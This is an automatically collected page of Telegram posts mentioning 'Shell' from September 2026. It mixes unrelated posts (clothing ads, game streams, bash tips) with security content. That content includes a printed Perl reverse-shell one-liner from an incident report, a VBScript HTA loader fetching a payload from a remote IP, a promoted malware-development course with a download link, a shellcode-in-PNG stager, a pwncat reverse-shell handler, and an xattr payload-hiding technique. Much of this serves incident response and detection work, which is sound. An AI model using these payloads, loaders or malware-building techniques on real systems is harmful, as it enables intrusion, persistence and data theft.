OrganizationShellSeptember 2026

Shell — September 2026

What Telegram channels wrote about Shell in September 2026: 50 posts from 41 channels, collected automatically from public Telegram channels.

50 posts·41 channels

More posts — page 2

50 posts total

🔐🔐🔐🔐🔐🔐🔐🔐

🤩🤩🤩🤩🤩🤩🤩🤩 — безумовний лiдер продажiв за останнi 5 рокiв

Запрошуємо до співпраці: 🔵Лiнiйка  комплектiв Soft Shell, пiд рiзний попит та температурний режим 🔵Кепка Soft Shell - для cross-sale 🔵Великий товарний запас для стабільних продажів 🔵Сотні популярних моделей у каталозі 🔵Асортимент, який регулярно оновлюється 🔵Системний підхід та відлагоджені процеси 🔵Вигідні умови для ДРОПу 🔵Фото та відеоконтент для продажів 🔵CRM «Мій Дроп» + підтримка менеджера 🔵Щоденні відправки НП / УП

Повний каталог товару: https://mydrop.com.ua/intruder Реєстрація: https://mydrop.com.ua/join/intruder Адмін: @intruder_br💬 Приєднуйтеся до партнерів INTRUDER 👨‍💼

https://t.me/+ByR5l4-SVhBlNjMy

СТРИМ Mortal Shell II (НАЧАЛО 18:00) ПРОХОЖДЕНИЕ 6 🔴 Mortal Shell II

🎦 Ютуб ↪ https://youtube.com/live/lj42HyBxDTQ?feature=share 🎦 ВК ВИДЕО ЛАЙВ ↪ https://live.vkvideo.ru/thewar4ikk 🎦Твич ↪ https://www.twitch.tv/thewar41kk

Sep 9, 02:52 PMMore from @thewar41kk

СТРИМ Mortal Shell II (НАЧАЛО 12:10) ПРОХОЖДЕНИЕ 5 🔴 Mortal Shell II

🎦 Ютуб ↪ https://youtube.com/live/H-fvqpzuXhQ?feature=share 🎦 ВК ВИДЕО ЛАЙВ ↪ https://live.vkvideo.ru/thewar4ikk 🎦Твич ↪ https://www.twitch.tv/thewar41kk

Sep 9, 09:03 AMMore from @thewar41kk

🚨 GitHub 监控消息提醒

🚨 发现关键词: #CVE-2026 #RCE

📦 项目名称: stylesmuggler-ioc-toolkit 👤 项目作者: jithinkrishnanrs 🛠 开发语言: Shell ⭐ Star数量: 0 | 🍴 Fork数量: 0 📅 更新时间: 2026-09-09 05:37:09

📝 项目描述: StyleSmuggler (CVE-2026-75650) IOC toolkit for Magento Open Source and Adobe Commerce. Detect compromised stores, Rust implants, PHP web shells, persistence artifacts, and known indicators of compromise.

🔗 点击访问项目地址

Si tienes una vivienda domotizada, quedarte sin Internet no significa necesariamente que la domótica deje de funcionar. Sí puede ocurrir que pierdas ciertas funciones, acceso de forma remota y tengas limitaciones en ocasiones. Muchos dispositivos van a estar conectados directamente a Internet, por lo que no podrás acceder a ellos. En cualquier caso, vamos a explicarte qué podría ocurrir si pierdes conexión de forma puntual. Problemas en una casa domótica si se va Internet Home Assistant (https://www.redeszone.net/tutoriales/domotica/home-assistant-que-es-tipos-instalacion/) funciona a nivel local. Eso significa que vas a poder seguir controlando tus dispositivos conectados al Wi-Fi, aunque no tengan Internet, siempre que estés dentro de tu vivienda. Los aparatos van a seguir funcionando igualmente, ya que muchos no van a depender de tener o no conexión. Por ejemplo, podrías tener un sensor de movimiento conectado a una bombilla para que se encienda o apague en función de si detecta o no que entras en una habitación. Independientemente de si hay o no conexión a Internet, ese sensor va a seguir funcionando. Se seguirá encendiendo o apagando la luz.

Compra en Amazon tu Shelly BLU Motion ZB

Ahora bien, sí que podrías tener problemas en caso de que ese sensor, ya sea de movimiento o cualquier otro, necesite conectarse a los servidores del fabricante para funcionar. Si tienes que pasar previamente por los servidores, entonces sí podrías tener problemas si tu conexión se corta.

Compra en Amazon tu Shelly Presence Gen4

Especialmente, los dispositivos más problemáticos son los que dependen de la nube. Podemos mencionar un altavoz inteligente, por ejemplo, que necesita continuamente acceder a información disponible en Internet para poder funcionar correctamente. Además, podrías tener problemas en situaciones como:

Recibir notificaciones. Acceder a cámaras de seguridad de forma remota. Controlar aparatos desde fuera de casa. Usar la aplicación de móvil para cambiar algún ajuste.

Qué pasa si falla el router Una cosa es quedarte sin Internet y otra distinta es que el router deje de funcionar o se apague. En este último caso, también podrías tener problemas si los dispositivos se desconectan entre sí y pierden conexión interna. El Wi-Fi dejaría de funcionar, por lo que todos los aparatos que dependen de la red inalámbrica para conectarse entre sí, dejarían de funcionar.

Sep 8, 12:16 PMMore from @servidores

🟢 Available for buying on Dex.Do

• gpt-oss-20b — 1.00 SHELL ($0.01) / 1M tokens • Qwen3.8-27B — 1.00 SHELL ($0.01) / 1M tokens • Qwen3.6-27B — 2.00 SHELL ($0.02) / 1M tokens • DeepSeek-V4-Flash — 5.00 SHELL ($0.05) / 1M tokens • DeepSeek-V4-Flash-0731 — 5.00 SHELL ($0.05) / 1M tokens • GPT-5.6 Luna — 110.00 SHELL ($1.1) / 1M tokens • Grok 4.5 — 590.00 SHELL ($5.9) / 1M tokens

Он вам не gsocket 😑

В ходе расследования одного из инцидентов специалисты PT ESC IR наткнулись на весьма диковинный инструмент hsocket (не путать с gsocket).

После получения первоначального доступа и установки веб-шелла злоумышленники доставили на скомпрометированный веб-сервер три bash-скрипта.

1️⃣ hsocket — бэкдор, имеющий следующий функционал:

• запуск интерактивной командной оболочки

• запуск эксплойтов для повышения привилегий в Linux-системах (PwnKit, Dirty Pipe, Dirty COW, Netfilter)

• сканирование директории на наличие веб-шеллов и их удаление (вероятно, для очистки следов)

• защита файлов от удаления

• установление reverse shell-соединения с управляющим сервером с помощью кода на Perl:

perl -e "use Socket;\$i=\"$hsHOST\";\$p=$hsPORT;socket(S,PF_INET,SOCK_STREAM, getprotobyname('tcp'));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){ open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('sh -i');};"

• скачивание и запуск скриптов для поиска ошибок в конфигурации Linux и повышения привилегий (linenum, linpeas)

2️⃣ hfsm — файловый менеджер, который позволяет интерактивно работать с файловой системой: просматривать, редактировать и удалять файлы.

3️⃣ .hsrc — устанавливает полные права на чтение, запись и исполнение файлов hsocket и hfsm, а также создаёт алиасы для запуска данных скриптов.

В рамках данного исследования нам удалось обнаружить статью, написанную на индонезийском языке, в которой было описано данное ВПО.

Что интересно, веб-шелл, установленный на скомпрометированном сервере, также содержал комментарии и строки на индонезийском:

// Fungsi untuk tampilan halaman login $Warning = "### ⚠️Info!! Terdekteksi Aktivitas Dari";

Сам веб-шелл является модифицированной версией Gecko. Об этом говорят комментарии и характерные строки кода:

//------------------GECKO SHELL, RECODED BY AYANA--------------------// <!-- Gecko Folder File Manager -->

IoC:

hsocket.io /tmp/hs-data/

#ir #dfir #detect #ioc #malware @ptescalator

Sep 8, 11:44 AMMore from @ptescalator

СТРИМ Mortal Shell II (НАЧАЛО 13:45) ПРОХОЖДЕНИЕ 4 🔴 Mortal Shell II

🎦 Ютуб ↪ https://youtube.com/live/8Do-fFvB9Jw?feature=share 🎦 ВК ВИДЕО ЛАЙВ ↪ https://live.vkvideo.ru/thewar4ikk 🎦Твич ↪ https://www.twitch.tv/thewar41kk

Sep 8, 10:39 AMMore from @thewar41kk

✅ Sandbox

👁 Универсальная песочница для ИИ-агентов, объединяющая браузер, Shell, файлы, MCP и VSCode Server в одном Docker-контейнере.

Единая файловая система связывает загрузки браузера, Shell и файловые операции, а в окружении доступны VNC, VSCode, Jupyter и терминал. Песочница поддерживает изолированный запуск Python и Node.js, готовые MCP-серверы и API для интеграции с ИИ-агентами.

❗️ Подойдёт разработчикам и командам, создающим ИИ-агентов и которым нужна единая изолированная среда для выполнения задач.

⛓ Проверить в деле

tags: #утилиты #ии #полезно

🧭 @recura_tech 🌐 VK 🌐 MAX

Sep 8, 07:03 AMMore from @recura_tech

🖼️ PNG Stager یک پروژه تحقیقاتی برای بررسی ساختار PNG، ایجاد Chunkهای سفارشی و ذخیره‌سازی shellcode بدون تغییر محتوای بصری تصویر. با استفاده از این ابزار میتونید shellcode خود را در یک تصویر ذخیره کنید و با استفاده از Loader پروژه ، آن را استخراج و اجرا…

Sep 7, 12:17 PMMore from @darkbitx

🖼️ PNG Stager

یک پروژه تحقیقاتی برای بررسی ساختار PNG، ایجاد Chunkهای سفارشی و ذخیره‌سازی shellcode بدون تغییر محتوای بصری تصویر.

با استفاده از این ابزار میتونید shellcode خود را در یک تصویر ذخیره کنید و با استفاده از Loader پروژه ، آن را استخراج و اجرا کنید.

Source: https://github.com/DarkBitx/PNG-Stager

💬 Forum 📣 DarkBit

Sep 7, 12:12 PMMore from @darkbitx

The Malicious Payload Execution

The VBScript contains the actual malicious logic:

Sub Window_OnLoad Set s=CreateObject("WScript.Shell") s.Run "wscript //B \\144.126.148.231\share\run.wsf",0 Self.Close End Sub

1. Create the Shell Object

🔴CreateObject("WScript.Shell") - Instantiates a powerful Windows object 🔴This object provides access to system functions, including running programs

2. Execute the Remote Payload

🔴s.Run - Executes the command 🔴wscript //B - Runs Windows Script Host in batch/quit mode (no error dialogs) 🔴\\144.126.148.231\share\run.wsf - UNC path to remote script on the attacker's server 🔴,0 - Hides the command windows completely

3. Clean Up

🔴Self.Close - Immediately closes the HTA window 🔴Removes visual evidence of the attack

Introduction Windows Malware Development

This course teaches advanced Windows malware development in a clear and practical way. You will learn how malware is created for Windows systems and how it works. It is useful for red teamers, malware developers, and anyone interested in cybersecurity. You will learn how to understand, build, and defend against malicious software. All examples and projects are written in C++.

├── Introduction ├── Theory ├── Shellcode Generator ├── Shellcode Execution ├── Shellcode Encryption ├── Process Injection ├── DLL Injection ├── Inter Process Communication ├── Downloader ├── Multiplatform ├── Malware as Service ├── Persistence ├── Import Address Table & String Encryption ├── Sandbox and Virtual Machines ├── Anti Debugging ├── Microsoft Signatures ├── Reverse Shell ├── Keylogger ├── Windows Defender Killer ├── Privilege Escalation ├── API Hooking ├── Parent PID Spoofing ├── Process Token ├── Dump Lsass.exe ├── Malicious Office Documents ├── Botnet Infrastructure └── Conclusions

Info: https://0x12darkdev.net/courses/introduction-malware-development/

🔗Download : https://t.me/c/3313734094/5062

🇪🇪🇮🇳 Indian scammers tricked the Estonian Defense Minister into sending them €70 million for the production of artillery shells to Ukraine.

The Defense Minister Hanno Pevkur resigns after the incident

Estonia had transferred around €70 million in advance payments to an Italian company for ammunition meant for Ukraine

Turns out, the Italian firm was a shell — fronting for an Indian business family

⌨️ Команда недели

Привет! Поймал reverse shell через netcat - и сидишь в полуживом терминале без автодополнения, без истории команд, Ctrl+C убивает сессию.

Pwncat решает всё это автоматически. pwncat-cs - это такой интерактивный обработчик reverse shell с автоматическим улучшением до полноценного TTY и встроенным менеджером сессий.

pwncat-cs -lp 4444

Ждёт подключения, и когда shell прилетает - автоматически апгрейдит его до полноценного PTY, настраивает окружение и даёт нормальный терминал.

👨‍💻 Что здесь происходит.

-lp 4444 - слушаем на порту 4444

После подключения pwncat автоматически запускает цепочку улучшений shell и переходит в интерактивный режим.

Внутри сессии:

Ctrl+D - переключение между локальным и удалённым режимом

upload /local/file /remote/path - загрузка файлов

download /remote/file - скачивание

run enumerate.system - автоматический сбор системной информации

Для работы с несколькими сессиями одновременно:

pwncat-cs -m bind -lp 4444

P.S. Самое полезное: pwncat автоматически ищет способы улучшить shell под конкретную систему. Нашёл Python, Perl или socat - использует лучший доступный вариант без ручной возни с python3 -c 'import pty'.

Что используете для работы с reverse shell? 👇

#pwncat #КомандаНедели #Пентест 👍 Белый хакер

Обойти массив путей с пробелами и не получить вместо одной папки три несуществующих.

Перебрать элементы, не разорвав их по пробелам

folders=("/var/log/nginx" "/var/log/app with space") for d in "${folders[@]}"; do ls -ld "$d" done

Кавычки вокруг ${folders[@]} обязательны. Без них тот же цикл на моём тесте выдал четыре итерации вместо двух: путь распался на /var/log/app, with и space. И не путай @ с *: под кавычками "${folders[*]}" склеивает весь массив в одну строку.

Посчитать элементы

echo "${#folders[@]}"

Нюанс: ${#folders} без [@] — это не размер массива, а длина первого элемента. У меня вернуло 8 вместо 3, и никакой ошибки.

Обойти разреженный массив

for i in "${!sparse[@]}"; do echo "$i = ${sparse[$i]}" done

Нюанс: если удалить элемент через unset, индексы останутся с дырками. Массив с индексами 0, 5, 9 имеет размер 3 — обход по seq 0 2 найдёт один элемент из трёх. Перебирать надо индексы через ${!arr[@]}, а не числа от нуля.

Прочитать файл в массив

readarray -t lines < /var/log/app.log readarray -t lines < <(grep -v '^$' /var/log/app.log)

Нюанс: cat file | readarray -t lines не работает. Пайп запускает readarray в подоболочке, массив заполняется там и умирает вместе с ней. У меня получилось 0 элементов вместо 4, снова без ошибки. Нужен либо редирект, либо подстановка процесса < <(...).

Сделать словарь

declare -A ports=([nginx]=80 [php-fpm]=9000)

Нюанс: declare -A не формальность. Без него bash создаёт обычный индексный массив, все строковые ключи считаются нулём, и каждое присваивание перетирает предыдущее. Проверил: ${ports[nginx]} вернуло 9000 — значение от php-fpm.

Общее у всех пяти: bash не ругается, а тихо делает не то. Поэтому shellcheck на скриптах с массивами экономит больше времени, чем кажется.

А вы конфиги в bash разбираете ассоциативными массивами или сразу отдаёте jq?

#Linux #Bash #Shell #Scripting #DevOps

Sep 4, 05:57 AMMore from @linuxskill

Атаки с использованием NTFS-потоков в Windows давно стали классикой. В Linux-средах про расширенные атрибуты (xattr) вспоминают реже, хотя идея схожая: благодаря этой фиче злоумышленник может скрыть вредоносный код в абсолютно легитимном и доверенном файле, что помогает обходить детекты со стороны защитных решений. Техника не новая, но она работает до сих пор, потому что EDR на Linux почти не смотрят в эту область.

Суть атаки:

Расширенные атрибуты позволяют привязать к любому файлу пару "ключ-значение". Размер значения может достигать 64 КБ. Важно, что поддержка есть во всех основных файловых системах. В качестве файла-носителя подойдёт любой, например, .bash_history. Алгоритм таков:

— создаётся обычный reverse shell (например, через msfvenom),

— полученный шелл-код сохраняется в атрибуте user.ATTRIBUTE файла .bash_history, это можно сделать такой командой:

setfattr --name=user.ATTRIBUTE --value="$buf" .bash_history

— также понадобится загрузчик на C, который считает этот атрибут функцией getxattr и передаст управление на полученный массив байт,

— остаётся доставить файлы на хост-жертву и запустить загрузчик.

По большому счету, сама нагрузка может быть чем угодно: бекконнект, модификация crontab, закрепление через systemd-таймеры - всё, что помещается в строку.

Однако техника имеет свои ограничения: большинство утилит не сохраняют xattr по умолчанию. Чтобы решить эту проблему, то есть доставить файл с пейлоадом в расширенном атрибуте на хост-жертву, злоумышленник может использовать:

tar с аргументом --xattrs rsync с аргументом -X или --xattrs

Как ловить атаку:

Для детектирования попыток сокрытия полезной нагрузки в расширенных атрибутах файлов стоит ввести мониторинг системных вызовов для getxattr/setxattr и анализировать их содержимое. Простейшие правила для auditd могут выглядеть следующим образом: -a always,exit -F arch=b64 -S getxattr -k xattr_read

-a always,exit -F arch=b64 -S setxattr -k xattr_write

Кроме того, с учетом вышеупомянутых ограничений этой техники, для детектирования можно отслеживать запуски утилит tar и rsync с соответствующими аргументами командной строки, которые отвечают за сохранение расширенных атрибутов.

Sep 4, 04:20 AMMore from @purpleshift

Про уязвимость Remote Code Execution - TrueConf Server (CVE-2026-72529, CVE-2026-72530). TrueConf Server - российский on-premise корпоративный мессенджер и платформа для UltraHD видеоконференций. Рассматриваемая цепочка состоит из двух критических уязвимостей. Первая уязвимость CVE-2026-72529, вызванная отсутствием аутентификации критически важной функции (CWE-306), позволяет неаутентифицированному удалённому злоумышленнику с сетевым доступом к TCP-порту 4307 (открыт по умолчанию, согласно документации TrueConf) обратиться к недокументированной функции TrueConf Server и выполнить произвольный скрипт внутри изолированной среды ("песочницы"), в которой недоступны потенциально опасные библиотеки. Вторая уязвимость CVE-2026-72530 позволяет злоумышленнику осуществить инъекцию кода (CWE-94), выйти за пределы изолированной среды и выполнить произвольный код на ОС хоста с максимальными привилегиями. В том числе злоумышленник может удалить из журналов событий TrueConf записи, связанные с использованием эксплоита.

⚙️ Исправления для уязвимостей были выпущены 18 июня 2026 года. Уязвимыми являются версии 5.3.x ниже 5.3.9, 5.4.x ниже 5.4.9, 5.5.x ниже 5.5.5, а также ветки 5.2 и ниже (для обновления старых версий требуется обращение в техподдержку). Перерегистрация сервера при обновлении в рамках веток 5.3-5.5 не требуется, однако перед установкой вендор настоятельно рекомендует сделать бэкап. Если немедленное обновление невозможно, рекомендуется ограничить доступ к TCP-порту 4307 доверенными сетями.

👾 Эксперты Kaspersky ICS CERT раскрыли детали эксплуатации цепочки уязвимостей в посте, опубликованном 12 августа. Атаки с эксплуатацией уязвимостей CVE-2026-72529 и CVE-2026-72530 проводились на российские организации с июля 2026 года. В ходе атак злоумышленники получали сетевой доступ к TrueConf Server через порт 4307, с помощью CVE-2026-72529 выполняли скрипт в песочнице, а затем использовали CVE-2026-72530 для выхода из неё и выполнения кода с правами NT AUTHORITY\SYSTEM. Это позволяло им заменить один из файлов сервера TrueConf собственным веб-шеллом. В дальнейшем этот веб-шелл использовался для сбора информации об ИТ-инфраструктуре атакуемой организации, получения привилегированного доступа к базе данных TrueConf Server и подмены легитимных установщиков TrueConf Client вредоносной версией, содержащей малварь PhantomCore. После этого пользователи получали сообщение о необходимости загрузить новую (вредоносную) версию клиента TrueConf.

ВАЖНО: даже если в вашей организации не используется TrueConf, ваши сотрудники могли подключаться к взломанным серверам TrueConf ваших подрядчиков и контрагентов для участия в совместных онлайн-конференциях и, как следствие, могли установить вредоносную версию клиента на свои рабочие десктопы!

Малварь PhantomCore, характерная для APT-группировки Head Mare, автоматически загружается после старта системы и позволяет выполнять произвольные команды, фактически предоставляя злоумышленникам полный контроль над заражённым хостом. Также исследователи Kaspersky сообщали об использовании в атаках нового бэкдора, который они назвали PhantomGraph. Обе уязвимости (CVE-2026-72529 и CVE-2026-72530) были добавлены в CISA KEV 20 августа 2026 года.

🛠 Публичный эксплойт для CVE-2026-72530 был опубликован на GitHub 26 августа. Для полной цепочки уязвимостей CVE-2026-72529 и CVE-2026-72530 публичного эксплойта пока не наблюдается (несмотря на соответствующие флаги в БДУ ФСТЭК).

🌐 TrueConf Server широко используется в России и за рубежом, в том числе государственными учреждениями, финансовыми, промышленными, медицинскими и образовательными организациями.

➡️Ⓜ️ MAX | @avleonovrus #TrueConf #TrueConfServer #TrueConfClient #Kaspersky #HeadMare #APT #PhantomCore #PhantomGraph #CVE #RCE #Vulnerability #Exploit #PoC #CISA #CISAKEV #FSTEC #BDU #Malware #Backdoor #WebShell #SandboxEscape #CodeInjection #SupplyChain

Sep 3, 08:13 PMMore from @avleonovrus

👋 Приветствую в мире цифровой безопасности!

Расскажу про eBPF с точки зрения безопасности - не просто трейсинг, а как технология меняет и атаку и защиту.

⏺Почему eBPF интересен в контексте ИБ: программы выполняются прямо в ядре с минимальными накладными расходами, видят всё что происходит в системе до того как это попадает в логи, и при этом не требуют написания kernel module. Это одновременно делает eBPF мощным инструментом защиты и потенциально опасным вектором атаки.

⏺Установка инструментов:

apt install bpfcc-tools bpftrace linux-headers-$(uname -r)

⏺Детект reverse shell в реальном времени - ловим процессы которые перенаправляют stdin/stdout в сокет:

# detect_revshell.py через bpfcc from bcc import BPF

prog = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h>

BPF_PERF_OUTPUT(events);

struct data_t { u32 pid; char comm[16]; int fd; };

int trace_dup2(struct pt_regs *ctx, int oldfd, int newfd) { if (newfd <= 2) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid() >> 32; bpf_get_current_comm(&data.comm, sizeof(data.comm)); data.fd = oldfd; events.perf_submit(ctx, &data, sizeof(data)); } return 0; } """

b = BPF(text=prog) b.attach_kprobe(event="__x64_sys_dup2", fn_name="trace_dup2")

dup2 вызывается когда процесс перенаправляет файловые дескрипторы - именно это делает каждый reverse shell.

⏺Мониторинг execve с аргументами - ловим запуск подозрительных команд:

bpftrace -e ' tracepoint:syscalls:sys_enter_execve { printf("pid=%d comm=%s file=%s\n", pid, comm, str(args->filename)); }'

⏺Детект privilege escalation - ловим момент когда процесс получает uid=0:

bpftrace -e ' kprobe:commit_creds { $cred = (struct cred *)arg0; if ($cred->uid.val == 0 && uid != 0) { printf("ALERT: %s (pid=%d) escalated to root\n", comm, pid); } }'

Срабатывает в момент изменения credentials - до того как процесс успеет что-то сделать с новыми правами.

⏺XDP для блокировки трафика на скорости wire speed - дропаем пакеты до того как они попадут в сетевой стек:

#include <linux/bpf.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/tcp.h>

SEC("xdp") int block_scanner(struct xdp_md *ctx) { void *data = (void *)(long)ctx->data; void *data_end = (void *)(long)ctx->data_end;

struct ethhdr *eth = data; if ((void *)(eth + 1) > data_end) return XDP_PASS;

struct iphdr *ip = (void *)(eth + 1); if ((void *)(ip + 1) > data_end) return XDP_PASS;

struct tcphdr *tcp = (void *)(ip + 1); if ((void *)(tcp + 1) > data_end) return XDP_PASS;

// Блокируем SYN-сканирование — пакеты с только SYN флагом if (tcp->syn && !tcp->ack && !tcp->fin && !tcp->rst) { // Здесь можно добавить логику rate limiting по src IP // через BPF_MAP_TYPE_LRU_HASH } return XDP_PASS; }

⏺Обратная сторона eBPF, как инструмента атаки: исследователи демонстрировали rootkit на eBPF который перехватывает системные вызовы и скрывает файлы и процессы - всё это без kernel module и без записи на диск. Инструмент ebpfkit показал что можно реализовать полноценный backdoor полностью в eBPF который крайне сложно обнаружить стандартными средствами.

⏺Защита от вредоносного использования eBPF: ограничение через Linux capabilities (CAP_BPF требуется для загрузки программ), kernel.unprivileged_bpf_disabled=1 запрещает непривилегированным пользователям загружать eBPF программы, мониторинг загрузки BPF-программ через аудит:

sysctl -w kernel.unprivileged_bpf_disabled=1 auditctl -a always,exit -F arch=b64 -S bpf -k ebpf_load

ZeroDay | Белый Хакер | #eBPF

nsenter: заглянуть внутрь namespace работающего контейнера

Контейнер не обязан иметь shell внутри себя. Если приложение работает, но docker exec недоступен или сам контейнерный userspace сломан, namespace можно открыть непосредственно с хоста

Сначала находим PID основного процесса контейнера

docker inspect -f '{{.State.Pid}}' <container>

Допустим, получили 4217 Проверяем его namespaces:

ls -l /proc/4217/ns/

Например:

net -> net:[4026532456] mnt -> mnt:[4026532457] pid -> pid:[4026532458]

Заходим сразу во все основные namespace

nsenter -t 4217 -m -u -i -n -p -C

Теперь shell работает в namespace процесса контейнера

Проверка:

hostname ip addr mount ps aux

При этом команды выполняются с host kernel, но видят изолированное окружение контейнера

Можно войти только в нужный namespace

Например, посмотреть сетевую конфигурацию контейнера с хоста:

nsenter -t 4217 -n ip addr

Или его mount namespace:

nsenter -t 4217 -m mount

Это удобно, когда проблема именно в одном namespace и нет смысла запускать полноценный shell

Почему nsenter особенно полезен при авариях

docker exec фактически зависит от container runtime и возможности запустить новый процесс внутри контейнера nsenter работает иначе: он использует namespace уже существующего процесса через /proc/<PID>/ns

Поэтому если внутри контейнера сломан shell, отсутствуют утилиты или runtime не может выполнить exec, диагностику всё ещё можно проводить с хоста

⚡️Важный нюанс: namespace изолирует пространство имён, но не создаёт отдельное ядро. Процессы контейнера и хоста используют одно Linux kernel, просто смотрят на разные namespace

Sep 3, 09:32 AMMore from @admguides